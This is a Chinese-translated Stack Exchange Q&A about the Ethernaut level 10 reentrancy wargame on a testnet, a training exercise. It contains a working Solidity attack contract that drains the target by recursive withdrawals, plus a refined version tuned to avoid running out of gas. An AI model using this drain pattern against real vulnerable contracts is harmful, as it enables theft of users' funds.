Solidity

沒有氣體ethernaut lvl 10 - 重入

  • August 26, 2022

我正在嘗試解決 Ethernaut 10 級重入任務,但我遇到了“氣體不足”錯誤。

https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

這是我用於攻擊的契約:

contract attack {
 Reentrance originalContract = Reentrance(0xf678057EB5c513313353543b44011c1fe5eecb66);
 uint public amount = 0.0001 ether;
 
 constructor() public payable {
 
 }

 function donateToSelf() public {
   originalContract.donate{value: amount, gas: 400000}(address(this));
 }


 function start() public {
   originalContract.withdraw{gas: 400000}(amount);
 }

 receive() external payable {
    if (address(originalContract).balance != 0 ) {
       originalContract.withdraw{gas: 400000}(amount);
   }
 }
}

在此處輸入圖像描述

https://rinkeby.etherscan.io/vmtrace?txhash=0xf67cf6effda55ebf6079e1809bad40db5bbec2086caeb3236a0d703fc9c810fd&type=gethtrace2

我在部署合約時提供 0.0001 乙太幣,然後呼叫 donateToSelf 然後 start()

那麼我做錯了什麼?撤回函式中的呼叫方法沒有gas限制,為什麼交易會恢復?我也嘗試不從我的程式碼中指定氣體,但同樣的事情發生了

問題是你的amount0.0001乙太幣,Reentrancy合約餘額是0.001乙太幣,你發送後0.0001就是乙太幣0.0011。因此,您的攻擊需要進行 11 次遞歸呼叫才能耗盡合約中的0.0011餘額Reentrance,這就是導致 gas 耗盡的原因。

在這種情況下,您的金額必須是0.001,因此當您將其發送到它將擁有的合約0.002時,當您攻擊它時0.001,您只需要 2 次遞歸呼叫即可耗盡所有餘額。

因此,無論何時您要攻擊具有可重入性的合約,您都需要能夠動態設置請求的數量,以便您可以隨時更改它並以最少遞歸呼叫的方式對其進行調整,以防止退出氣體異常。

此外,在您的receive函式中,您可以檢查契約餘額是否>=為您當時嘗試獲得的金額:

receive() external payable {
    if (address(originalContract).balance >= amount) {
       originalContract.withdraw{gas: 400000}(amount);
   }
}

因為Reentrance合約餘額可能非常小,!= 0如果您嘗試提取的金額也很小,那麼這樣做是個壞主意,因為您可能有很多遞歸呼叫。

所以,重構看起來像這樣:

contract attack {
 Reentrance originalContract = Reentrance(payable(0x6Aa566045dE5B3104c082853a1E2E4A3aFbABA06));
 uint public amount = 0.001 ether;

 constructor() payable {
 
 }

 function donateToSelf() public {
   originalContract.donate{value: amount, gas: 400000}(address(this));
 }

 // You should be able to ajust the amount dynamically
 function setAmount(uint256 _amount) public {
     amount = _amount;
 }

 function start() public {
   originalContract.withdraw{gas: 400000}(amount);
 }

 receive() external payable {
    // Better check that the balance >= amount 
    if (address(originalContract).balance >= amount) {
       originalContract.withdraw{gas: 400000}(amount);
   }
 }

}

引用自:https://ethereum.stackexchange.com/questions/134404